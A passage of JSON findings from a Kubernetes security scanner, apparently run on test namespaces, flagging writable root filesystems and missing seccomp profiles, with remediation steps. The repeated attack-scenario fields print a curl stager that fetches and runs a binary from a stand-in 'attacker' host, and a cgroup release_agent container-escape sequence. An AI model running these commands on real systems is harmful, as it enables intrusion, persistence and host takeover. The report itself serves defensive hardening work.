    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:local-path-storage:local-path-provisioner:local-path-provisioner",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `local-path-provisioner` has a writable root filesystem in `Deployment/local-path-storage/local-path-provisioner`",
    "description": "Container `local-path-provisioner` in `Deployment/local-path-storage/local-path-provisioner` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "local-path-provisioner",
      "namespace": "local-path-storage",
      "api_group": "apps"
    },
    "namespace": "local-path-storage",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/local-path-storage/local-path-provisioner`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "local-path-provisioner"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/local-path-provisioner -n local-path-storage -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:secrets-bundle:cross-ns-consumer:pause",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `pause` has a writable root filesystem in `Deployment/secrets-bundle/cross-ns-consumer`",
    "description": "Container `pause` in `Deployment/secrets-bundle/cross-ns-consumer` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "cross-ns-consumer",
      "namespace": "secrets-bundle",
      "api_group": "apps"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/secrets-bundle/cross-ns-consumer`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "pause"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/cross-ns-consumer -n secrets-bundle -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:flat-network:api:api",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `api` runs without a seccomp profile in `Deployment/flat-network/api`",
    "description": "Container `api` in `Deployment/flat-network/api` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "api",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/api`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "api"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n flat-network \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/api -n flat-network -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:DaemonSet:rbac-fixtures:daemon-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `DaemonSet/rbac-fixtures/daemon-app`",
    "description": "Container `app` in `DaemonSet/rbac-fixtures/daemon-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "DaemonSet",
      "name": "daemon-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `DaemonSet/rbac-fixtures/daemon-app`, runs on **every** node (per-node blast radius)"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n rbac-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get daemonset/daemon-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:cloud-eks-test:imds-pivot-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/cloud-eks-test/imds-pivot-app`",
    "description": "Container `app` in `Deployment/cloud-eks-test/imds-pivot-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-pivot-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/imds-pivot-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n cloud-eks-test \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/imds-pivot-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
